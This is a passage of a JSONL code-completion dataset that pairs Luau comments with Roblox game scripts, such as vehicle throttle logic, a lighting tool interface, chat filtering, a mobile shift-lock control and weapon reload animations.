more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--throttle.Value = TCount ", "completion": "\n\nif carSeat.Throttle == 1 then\nif autoF - 1 > autoR or clutch.Clutch.Value ~= 1 then\n\tTCount = 1 \n\telse\n\tif TCount >= 1 then\n\t\tTCount = 1\n\telse\n\t\tif speed > 50 then\n\t\tTCount = TCount + 0.167\n\t\t\n\t\telseif speed < 20 then\n\t\tTCount = TCount + 0.3334\n\t\t\n\t\t\telse\n\t\tTCount = TCount + 0.02\n\t\tend\n\tend\n\t\n\tend\nelse\n\tif TCount <= 0 then\n\t\tTCount = 0\n\telse\n\t\tTCount = 0\n\tend\nend\n\nif currentgear.Value ~= 1 then tlR = 0\n\tif clutch.Clutch.Value ~= 1 then\n\t\tif throttle.Value ~= 0 then\n\t\t\tif engine.Value > redline.Value * (1-clutch.Clutch.Value) then --------------?? WE DONT NEED A 'FOR' IN THE CLUTCH CODE\n\t\t\t\tengine.Value = engine.Value - 300\n\t\t\t\telse\n\t\t\t\tengine.Value = engine.Value + (((600+decay.Value) * throttle.Value) - decay.Value) \n\t\t\tend else engine.Value = engine.Value - decay.Value\n\t\tend\n\t\trpm.Value = engine.Value\n\telse\n\t\tengine.Value = rpm.Value\n\tend\nelse\n\ttlR = tlR + 0.05\n\tif tlR > 20 then\n\t\tscript.Parent.Functions.Engine.Value = false\n\t\tfirst = 0.333\n\tend\n\tengine.Value = engine.Value + (((600+decay.Value) * first) - decay.Value)\n\tif engine.Value > idle.Value*2 then\n\t\tfirst = 0 \n\tend\n\t\t--engine.Value = (idle.Value-decay.Value)\n\t\t\nend\n\ndrive = \"x\"\n"} +{"prompt": "--<<--Enable/Disable Chat menu-->>--", "completion": "\ngame:GetService(\"StarterGui\"):SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false) --Set 'false' to disable the Chat, or set 'true' to enable the Chat"} +{"prompt": "-- Container for temporary connections (disconnected automatically)", "completion": "\nlocal Connections = {};\n\nfunction LightingTool.Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Start up our interface\n\tShowUI();\n\tEnableSurfaceClickSelection();\n\nend;\n\nfunction LightingTool.Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- Clear unnecessary resources\n\tHideUI();\n\tClearConnections();\n\nend;\n\nfunction ClearConnections()\n\t-- Clears out temporary connections\n\n\tfor ConnectionKey, Connection in pairs(Connections) do\n\t\tConnection:disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ShowUI()\n\t-- Creates and reveals the UI\n\n\t-- Reveal UI if already created\n\tif LightingTool.UI then\n\n\t\t-- Reveal the UI\n\t\tLightingTool.UI.Visible = true;\n\n\t\t-- Update the UI every 0.1 seconds\n\t\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\n\t\t-- Skip UI creation\n\t\treturn;\n\n\tend;\n\n\t-- Create the UI\n\tLightingTool.UI = Core.Tool.Interfaces.BTLightingToolGUI:Clone();\n\tLightingTool.UI.Parent = Core.UI;\n\tLightingTool.UI.Visible = true;\n\n\t-- Enable each light type UI\n\tEnableLightSettingsUI(LightingTool.UI.PointLight);\n\tEnableLightSettingsUI(LightingTool.UI.SpotLight);\n\tEnableLightSettingsUI(LightingTool.UI.SurfaceLight);\n\n\t-- Update the UI every 0.1 seconds\n\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\nend;\n\nfunction EnableSurfaceClickSelection(LightType)\n\t-- Allows for the setting of the face for the given light type by clicking\n\n\t-- Clear out any existing connection\n\tif Connections.SurfaceClickSelection then\n\t\tConnections.SurfaceClickSelection:disconnect();\n\t\tConnections.SurfaceClickSelection = nil;\n\tend;\n\n\t-- Add the new click connection\n\tConnections.SurfaceClickSelection = UserInputService.InputEnded:connect(function (Input, GameProcessedEvent)\n\t\tif not GameProcessedEvent and Input.UserInputType == Enum.UserInputType.MouseButton1 and Selection.IsSelected(Core.Mouse.Target) then\n\t\t\tSetSurface(LightType, Core.Mouse.TargetSurface);\n\t\tend;\n\tend);\n\nend;\n\nfunction EnableLightSettingsUI(LightSettingsUI)\n\t-- Sets up the UI for the given light type settings UI\n\n\t-- Get the type of light this settings UI is for\n\tlocal LightType = LightSettingsUI.Name;\n\n\t-- Option input references\n\tlocal Options = LightSettingsUI.Options;\n\tlocal RangeInput = Options.RangeOption.Input.TextBox;\n\tlocal BrightnessInput = Options.BrightnessOption.Input.TextBox;\n\tlocal ColorPicker = Options.ColorOption.HSVPicker;\n\tlocal ShadowsCheckbox = Options.ShadowsOption.Checkbox;\n\n\t-- Add/remove/show button references\n\tlocal AddButton = LightSettingsUI.AddButton;\n\tlocal RemoveButton = LightSettingsUI.RemoveButton;\n\tlocal ShowButton = LightSettingsUI.ArrowButton;\n\n\t-- Enable range input\n\tRangeInput.FocusLost:connect(function ()\n\t\tSetRange(LightType, tonumber(RangeInput.Text));\n\tend);\n\n\t-- Enable brightness input\n\tBrightnessInput.FocusLost:connect(function ()\n\t\tSetBrightness(LightType, tonumber(BrightnessInput.Text));\n\tend);\n\n\t-- Enable color input\n\tColorPicker.MouseButton1Click:connect(function ()\n\t\tCore.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(\n\t\t\tSupport.IdentifyCommonProperty(GetLights(LightType), 'Color') or Color3.new(1, 1, 1),\n\t\t\tfunction (Color) SetColor(LightType, Color) end,\n\t\t\tCore.Targeting.CancelSelecting\n\t\t);\n\tend);\n\n\t-- Enable shadows input\n\tShadowsCheckbox.MouseButton1Click:connect(function ()\n\t\tToggleShadows(LightType);\n\tend);\n\n\t-- Enable light addition button\n\tAddButton.MouseButton1Click:connect(function ()\n\t\tAddLights(LightType);\n\tend);\n\n\t-- Enable light removal button\n\tRemoveButton.MouseButton1Click:connect(function ()\n\t\tRemoveLights(LightType);\n\tend);\n\n\t-- Enable light options UI show button\n\tShowButton.MouseButton1Click:connect(function ()\n\t\tOpenLightOptions(LightType);\n\tend);\n\n\t-- Enable light type-specific features\n\tif LightType == 'SpotLight' or LightType == 'SurfaceLight' then\n\n\t\t-- Create a surface selection dropdown\n\t\tSurfaces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' };\n\t\tlocal SurfaceDropdown = Core.Cheer(Options.SideOption.Dropdown).Start(Surfaces, '', function (Surface)\n\t\t\tSetSurface(LightType, Enum.NormalId[Surface]);\n\t\tend);\n\n\t\t-- Enable angle input\n\t\tlocal AngleInput = Options.AngleOption.Input.TextBox;\n\t\tAngleInput.FocusLost:connect(function ()\n\t\t\tSetAngle(LightType, tonumber(AngleInput.Text));\n\t\tend);\n\n\tend;\n\nend;\n\nfunction HideUI()\n\t-- Hides the tool UI\n\n\t-- Make sure there's a UI\n\tif not LightingTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Hide the UI\n\tLightingTool.UI.Visible = false;\n\n\t-- Stop updating the UI\n\tUIUpdater:Stop();\n\nend;\n\nfunction GetLights(LightType)\n\t-- Returns all the lights of the given type in the selection\n\n\tlocal Lights = {};\n\n\t-- Get any lights from any selected parts\n\tfor _, Part in pairs(Selection.Items) do\n\t\ttable.insert(Lights, Support.GetChildOfClass(Part, LightType));\n\tend;\n\n\t-- Return the lights\n\treturn Lights;\n\nend;\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__RunService__1 = game:GetService(\"RunService\");\nif game:GetService(\"UserInputService\").TouchEnabled then\n\tlocal v2 = Instance.new(\"Frame\");\n\tv2.Name = \"BottomLeftControl\";\n\tv2.Size = UDim2.new(0.1, 0, 0.1, 0);\n\tv2.Position = UDim2.new(1, 0, 1, 0);\n\tv2.AnchorPoint = Vector2.new(1, 1);\n\tv2.BackgroundTransparency = 1;\n\tv2.ZIndex = 10;\n\tv2.Parent = script.Parent;\n\tlocal v3 = Instance.new(\"ImageButton\");\n\tv3.Name = \"MouseLockLabel\";\n\tv3.Size = UDim2.new(1, 0, 1, 0);\n\tv3.Position = UDim2.new(0, 0, 0, 0);\n\tv3.BackgroundTransparency = 1;\n\tv3.Image = \"rbxasset://textures/ui/mouseLock_off.png\";\n\tv3.Visible = true;\n\tv3.Parent = v2;\n\tlocal v4 = Instance.new(\"Frame\");\n\tv4.Name = \"MiddleIcon\";\n\tv4.Size = UDim2.new(0.075, 0, 0.075, 0);\n\tv4.Position = UDim2.new(0.5, 0, 0.5, 0);\n\tv4.AnchorPoint = Vector2.new(0.5, 0.5);\n\tv4.BackgroundTransparency = 1;\n\tv4.ZIndex = 10;\n\tv4.Visible = true;\n\tv4.Parent = script.Parent;\n\tlocal v5 = Instance.new(\"ImageLabel\");\n\tv5.Name = \"MouseLockLabel\";\n\tv5.Size = UDim2.new(1, 0, 1, 0);\n\tv5.Position = UDim2.new(0, 0, 0, 0);\n\tv5.BackgroundTransparency = 1;\n\tv5.Image = \"rbxasset://textures/MouseLockedCursor.png\";\n\tv5.Visible = false;\n\tv5.Parent = v4;\n\tlocal v6 = Instance.new(\"UIAspectRatioConstraint\");\n\tv6.AspectRatio = 1;\n\tv6.DominantAxis = \"Height\";\n\tv6.Parent = v2;\n\tv6:Clone().Parent = v4;\n\tlocal u1 = false;\n\tv3.Activated:connect(function()\n\t\tu1 = not u1;\n\t\tif u1 then\n\t\t\tlocal v7 = \"rbxasset://textures/ui/mouseLock_on.png\";\n\t\telse\n\t\t\tv7 = \"rbxasset://textures/ui/mouseLock_off.png\";\n\t\tend;\n\t\tv3.Image = v7;\n\t\tv5.Visible = u1 or false;\n\tend);\n\tlocal l__LocalPlayer__2 = game.Players.LocalPlayer;\n\tl__RunService__1:BindToRenderStep(\"MobileShiftLock\", Enum.RenderPriority.Camera.Value + 1, function()\n\t\tif u1 then\n\t\t\tlocal l__CurrentCamera__8 = workspace.CurrentCamera;\n\t\t\tif l__CurrentCamera__8 then\n\t\t\t\tlocal l__Character__9 = l__LocalPlayer__2.Character;\n\t\t\t\tlocal v10 = l__Character__9 and l__Character__9:FindFirstChild(\"Humanoid\");\n\t\t\t\tlocal v11 = l__Character__9 and l__Character__9:FindFirstChild(\"HumanoidRootPart\");\n\t\t\t\tlocal v12 = l__Character__9 and l__Character__9:FindFirstChild(\"Head\");\n\t\t\t\tif v10 and v10.Health > 0 and v11 then\n\t\t\t\t\tlocal l__LookVector__13 = l__CurrentCamera__8.CFrame.LookVector;\n\t\t\t\t\tv11.CFrame = CFrame.new(v11.Position) * CFrame.Angles(0, math.atan2(-l__LookVector__13.X, -l__LookVector__13.Z), 0);\n\t\t\t\tend;\n\t\t\t\tif v12 and (v12.Position - l__CurrentCamera__8.CFrame.Position).Magnitude >= 1 then\n\t\t\t\t\tl__CurrentCamera__8.CFrame = l__CurrentCamera__8.CFrame * CFrame.new(1.75, 0, 0);\n\t\t\t\tend;\n\t\t\tend;\n\t\tend;\n\tend);\nend;\n"} +{"prompt": "--!strict", "completion": "\nlocal _T = require(script.Parent.Parent.Types)\n"} +{"prompt": "--------| Variables |--------", "completion": "\nlocal cachedGamepassInfo = {}\n"} +{"prompt": "--[=[\n\tOptions for the broadcast middleware.\n]=]", "completion": "\nexport type BroadcasterOptions = {\n\t--[=[\n\t\tThe producers that will be tracked.\n\t]=]\n\tproducers: ProducerMap,\n\n\t--[=[\n\t\tThe rate in seconds at which the server should hydrate the\n\t\tclients with the latest state.\n\t\t@default 60\n\t]=]\n\thydrateRate: number?,\n\n\t--[=[\n\t\tThe rate in seconds at which the server should dispatch\n\t\tactions to the clients. If set to `0`, actions will be\n\t\tdispatched within the next frame.\n\t\t@default 0\n\t]=]\n\tdispatchRate: number?,\n\n\t--[=[\n\t\tRuns before actions are dispatched to a player. Can be used to\n\t\tfilter actions or manipulate them before sending.\n\n\t\tAvoid directly mutating the action. Instead, return a new action\n\t\tif you need to change it. Return `nil` to not share the action\n\t\twith this player.\n\t]=]\n\tbeforeDispatch: ((player: Player, action: BroadcastAction) -> BroadcastAction?)?,\n\n\t--[=[\n\t\tRuns before the client is hydrated with the latest state. Can be\n\t\tused to filter the state or hide certain values from the client.\n\n\t\tDo not mutate the state in this function! Treat it as a read-only\n\t\tobject, and return a new object if you need to change it.\n\t]=]\n\tbeforeHydrate: ((player: Player, state: { [string]: any }) -> { [string]: any })?,\n\n\t--[=[\n\t\tAn optional custom hydration function. If provided, this function\n\t\twill be called instead of being implicitly handled in 'dispatch'.\n\n\t\tUseful for reducing load on a single remote if your state is large.\n\t]=]\n\thydrate: ((player: Player, state: { [string]: any }) -> ())?,\n\n\t--[=[\n\t\tThe function that will send the actions to the client.\n\t]=]\n\tdispatch: (player: Player, actions: { BroadcastAction }) -> (),\n}\n"} +{"prompt": "-- Disconnect all handlers. Since we use a linked list it suffices to clear the\n-- reference to the head handler.", "completion": "\nfunction Signal:DisconnectAll()\n\tself._handlerListHead = false\nend\n"} +{"prompt": "--[[\n\tShorthand for a done handler that returns the given value.\n]]", "completion": "\nfunction Promise.prototype:doneReturn(...)\n\tlocal length, values = pack(...)\n\treturn self:_finally(debug.traceback(nil, 2), function()\n\t\treturn unpack(values, 1, length)\n\tend, true)\nend\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal DebrisService = Game:GetService('Debris')\n\nlocal Rocket = script.Parent\n\nlocal CreatorTag = WaitForChild(Rocket, 'creator')\n\nlocal SwooshSound = WaitForChild(Rocket, 'Swoosh')\n"} +{"prompt": "-- Made by Yarik, you are allowed to take it, but please favorite it first", "completion": "\n"} +{"prompt": "-- When key pressed", "completion": "\nfunction onKeyDown(key)\n\tif key == nil then return end\n\tkey = key:lower()\n\t\t\t\n\t-- Coaxial Machine Gun Control\n\tif key == 'f' then\n\t\tif firingMg then return end\n\t\t\t\n\t\tfiringMg = true;\n\t\t\t\n\t\twhile firingMg do\n\t\t\tif not fireCoax() then\n\t\t\t\tfiringMg = false;\n\t\t\twait()\n\t\t\tend\n\t\t\tupdateAmmo();\n\t\tend\t\n\tend\n\t\n\t-- Switch ammo type\n\tif key == 'e' then\n\t\tparts.Engine.BodyGyro.MaxTorque = Vector3.new(0,0,100)\n\t\tprint(\"Flipping Vehicle\")\n\t\twait(5)\n\t\tparts.Engine.BodyGyro.MaxTorque = Vector3.new(0,0,0)\n\tend\n\tif key == 'q' then\n\t\tif braking then return end\n\t\t\t\n\t\tbraking = true;\n\t\t\t\n\t\twhile braking do\n\t\t\tif not Brakes() then\n\t\t\t\tbraking = false;\n\t\t\tend\n\t\t\tupdateAmmo();\n\t\tend\t\n\tend\nend\n"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal VRService = game:GetService(\"VRService\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\n\nlocal player = Players.LocalPlayer\n"} +{"prompt": "--EDIT BELOW----------------------------------------------------------------------", "completion": "\nsettings.PianoSoundRange = 45\n\nsettings.KeyAesthetics = true\n\nsettings.PianoSounds = {\n\t\"269058581\",\n\t\"269058744\",\n\t\"269058842\",\n\t\"269058899\",\n\t\"269058974\",\n\t\"269059048\"\n}"} +{"prompt": "-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n\nlocal Tool = script.Parent\n\nlocal Animations = {}\nlocal MyHumanoid\nlocal MyCharacter\n\n\nlocal function PlayAnimation(animationName)\n\tif Animations[animationName] then\n\t\tAnimations[animationName]:Play()\n\tend\nend\n\nlocal function StopAnimation(animationName)\n\tif Animations[animationName] then\n\t\tAnimations[animationName]:Stop()\n\tend\nend\n\n\nfunction OnEquipped(mouse)\n\tMyCharacter = Tool.Parent\n\tMyHumanoid = WaitForChild(MyCharacter, 'Humanoid')\n\tif MyHumanoid then\n\t\t\t\tAnimations['IdleAnim'] = MyHumanoid:LoadAnimation(WaitForChild(script, 'idle'))\n\t\t\t\t\tend\n\tPlayAnimation('IdleAnim')\nend\n\nfunction OnUnequipped()\n\tfor animName, _ in pairs(Animations) do\n\t\tStopAnimation(animName)\n\tend\nend\n\nTool.Equipped:connect(OnEquipped)\nTool.Unequipped:connect(OnUnequipped)\n"} +{"prompt": "-- Mimic the enabling of the topbar when StarterGui:SetCore(\"TopbarEnabled\", state) is called", "completion": "\ncoroutine.wrap(function()\n\tlocal chatScript = players.LocalPlayer.PlayerScripts:WaitForChild(\"ChatScript\", 4) or game:GetService(\"Chat\"):WaitForChild(\"ChatScript\", 4)\n\tif not chatScript then return end\n\tlocal chatMain = chatScript:FindFirstChild(\"ChatMain\")\n\tif not chatMain then return end\n\tlocal ChatMain = require(chatMain)\n\tChatMain.CoreGuiEnabled:connect(function()\n\t\tlocal topbarEnabled = checkTopbarEnabled()\n\t\tif topbarEnabled == IconController.previousTopbarEnabled then\n\t\t\tIconController.updateTopbar()\n\t\t\treturn \"SetCoreGuiEnabled was called instead of SetCore\"\n\t\tend\n\t\tif IconController.mimicCoreGui then\n\t\t\tIconController.previousTopbarEnabled = topbarEnabled\n\t\t\tif IconController.controllerModeEnabled then\n\t\t\t\tIconController.setTopbarEnabled(false,false)\n\t\t\telse\n\t\t\t\tIconController.setTopbarEnabled(topbarEnabled,false)\n\t\t\tend\n\t\tend\n\t\tIconController.updateTopbar()\n\tend)\n\tlocal makeVisible = checkTopbarEnabled()\n\tif not makeVisible and not IconController.mimicCoreGui then\n\t\tmakeVisible = true\n\tend\n\tIconController.setTopbarEnabled(makeVisible, false)\nend)()\n"} +{"prompt": "-- This function is a primitive \"pick randomly from table\" function.", "completion": "\nfunction main:GetRandomSound(SoundTable : {}) : string\n\treturn SoundTable[math.random(#SoundTable)]\nend\n\nreturn main\n"} +{"prompt": "-- Define the variables for the dash ability", "completion": "\nlocal isDashing = false\nlocal dashSpeed = 125\n"} +{"prompt": "--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result", "completion": "\nfunction methods:InternalApplyRobloxFilterNewAPI(speakerName, message, textFilterContext) --// USES FFLAG\n\tlocal alwaysRunFilter = false\n\tlocal runFilter = RunService:IsServer() and not RunService:IsStudio()\n\tif (alwaysRunFilter or runFilter) then\n\n\t\tlocal fromSpeaker = self:GetSpeaker(speakerName)\n\t\tif fromSpeaker == nil then\n\t\t\treturn false, nil, nil\n\t\tend\n\n\t\tlocal fromPlayerObj = fromSpeaker:GetPlayer()\n\t\tif fromPlayerObj == nil then\n\t\t\treturn true, false, message\n\t\tend\n\n\t\tif allSpaces(message) then\n\t\t\treturn true, false, message\n\t\tend\n\n\t\tlocal success, filterResult = pcall(function()\n\t\t\tlocal ts = game:GetService(\"TextService\")\n\t\t\tlocal result = ts:FilterStringAsync(message, fromPlayerObj.UserId, textFilterContext)\n\t\t\treturn result\n\t\tend)\n\t\tif (success) then\n\t\t\treturn true, true, filterResult\n\t\telse\n\t\t\twarn(\"Error filtering message:\", message, filterResult)\n\t\t\tself:InternalNotifyFilterIssue()\n\t\t\treturn false, nil, nil\n\t\tend\n\tend\n\n\t--// Simulate filtering latency.\n\twait()\n\treturn true, false, message\nend\n\nfunction methods:InternalDoMessageFilter(speakerName, messageObj, channel)\n\tlocal filtersIterator = self.FilterMessageFunctions:GetIterator()\n\n\tfor funcId, func, priority in filtersIterator do\n\t\tlocal success, errorMessage = pcall(function()\n\t\t\tfunc(speakerName, messageObj, channel)\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoMessageFilter Function '%s' failed for reason: %s\", funcId, errorMessage))\n\t\tend\n\tend\nend\n\nfunction methods:InternalDoProcessCommands(speakerName, message, channel)\n\tlocal commandsIterator = self.ProcessCommandsFunctions:GetIterator()\n\n\tfor funcId, func, priority in commandsIterator do\n\t\tlocal success, returnValue = pcall(function()\n\t\t\tlocal ret = func(speakerName, message, channel)\n\t\t\tif type(ret) ~= \"boolean\" then\n\t\t\t\terror(\"Process command functions must return a bool\")\n\t\t\tend\n\t\t\treturn ret\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoProcessCommands Function '%s' failed for reason: %s\", funcId, returnValue))\n\t\telseif returnValue then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n\nfunction methods:InternalGetUniqueMessageId()\n\tlocal id = self.MessageIdCounter\n\tself.MessageIdCounter = id + 1\n\treturn id\nend\n\nfunction methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)\n\tif (self.Speakers[speakerName:lower()]) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" already exists!\")\n\tend\n\n\tlocal speaker = Speaker.new(self, speakerName)\n\tspeaker:InternalAssignPlayerObject(playerObj)\n\tself.Speakers[speakerName:lower()] = speaker\n\n\tif fireSpeakerAdded then\n\t\tlocal success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error adding speaker: \" ..err)\n\t\tend\n\tend\n\n\treturn speaker\nend\n\nfunction methods:InternalFireSpeakerAdded(speakerName)\n\tlocal success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)\n\tif not success and err then\n\t\tprint(\"Error firing speaker added: \" ..err)\n\tend\nend\n"} +{"prompt": "-- MUSIC/SOUNDS", "completion": "\n\nprint(\"DOORS \ud83d\udc41\ufe0f Sound Pack: Installing Musics/Ambiences Sounds...\")\n\nif SoundsInSoundService == true then\n\tscript.Parent.Parent = game.SoundService\nend\n\nif MusicLobbyEnabled == false then\n\tscript.Parent.Music.Lobby:Destroy()\nend\n\nif GuidingLightMusicEnabled == false then\n\tscript.Parent.Music[\"Guiding Light\"]:Destroy()\nend\n\nif EndingMusicEnabled == false then\n\tscript.Parent.Music.Ending:Destroy()\nend\n\nif ElevatorJamMusicEnabled == false then\n\tscript.Parent.Music[\"Elevator Jam\"]:Destroy()\nend\n\nif UnhingedMusicEnabled == false then\n\tscript.Parent.Music.Unhinged:Destroy()\nend\n\nif AmbienceSoundEnabled == false then\n\tscript.Parent.Ambience.Ambience:Destroy()\nend"} +{"prompt": "-- Helpers", "completion": "\nlocal function updateCheckbox()\n\tlocal checked = CheckedValue.Value\n\t\n\tif checked then\n\t\tCheckbox.Image = Assets.Checkbox.Checked\n\t\tCheckbox.ImageColor3 = checkedColor \n\telse\n\t\tCheckbox.Image = Assets.Checkbox.Unchecked\n\t\tCheckbox.ImageColor3 = defaultImageColor\n\tend\nend\n\nCheckedValue.Changed:Connect(updateCheckbox)\n\nlocal function selectCheckbox()\n\tCheckedValue.Value = not CheckedValue.Value\nend\n"} +{"prompt": "-- Expose GetLibraries function", "completion": "\n_G.GetLibraries = GetLibraries;\nreturn GetLibraries\n"} +{"prompt": "-- obtain goals based on Center part", "completion": "\ncenter.BodyPosition.position = beacon.Center.Position\nteamColor = center.Color\nvel = center.BodyVelocity\nvel.velocity = Vector3.new(0, -2, 0)\n\nhealerIsResting = false\n\nfunction restHealer()\n\thealerIsResting = true\n\twait(5)\n\thealerIsResting = false\nend\n\nfunction onTouchHumanoid(humanoid)\t\n\tif not healerIsResting then\n\t\t-- Heal the player\n\t\thumanoid.Health = humanoid.Health + 50\n\t\tcoroutine.resume(coroutine.create(restHealer))\n\tend\nend\n\ngoingUp = false\nfunction goUp(speed)\n\tif goingUp then\n\t\treturn\n\tend\n\tgoingUp = true\n\tvel.velocity = Vector3.new(0,speed,0)\n\twait(20/speed)\n\tvel.velocity = Vector3.new(0,-2,0)\n\tgoingUp = false\nend\n\nfunction onTouch(touchedPart)\n\t-- see if a character touched it\n\tlocal parent = touchedPart.Parent\n\tif parent ~= nil then\n\t\tlocal humanoid = parent:findFirstChild(\"Humanoid\", false);\n\t\tif humanoid ~= nil then\n\t\t\tonTouchHumanoid(humanoid)\n\t\t\tgoUp(10)\n\t\t\treturn\n\t\tend\n\tend\n\n\t-- change direction\n\tif touchedPart.Position.y > beacon.Center.Position.y then\n\t\tvel.velocity = Vector3.new(0,-2,0)\n\t\tgoingUp = false\n\telseif touchedPart.Position.y < beacon.Center.Position.y then\n\t\tgoUp(2)\n\tend\nend\n\nfunction connectPart(part)\n\tpart.Color = teamColor\n\tpart.Touched:connect(onTouch)\nend\n"} +{"prompt": "-- at max range", "completion": "\nscript.Parent.Explosion.PlayOnRemove = false\nswoosh:stop()\nshaft:remove()\n"} +{"prompt": "--// Animations", "completion": "\n\t\n\t-- Idle Anim\n\tIdleAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\tTweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.18)\t\n\tend;\n\t\n\t-- FireMode Anim\n\tFireModeAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.25)\n\t\tobjs[4]:WaitForChild(\"Click\"):Play()\t\t\n\tend;\n\t\n\t-- Reload Anim\n\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.02)\t\t\n\t\t\t\n\t\t\tlocal MagC = objs[4]:clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)\n\t\t\tobjs[4].Transparency = 1\t\t\n\t\t\t\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\twait(0.02)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play()\n\t\t\twait(0.10)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play()\n\t\t\twait(0.10)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.10)\n\t\t\tobjs[6]:WaitForChild('MagIn'):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.10)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, 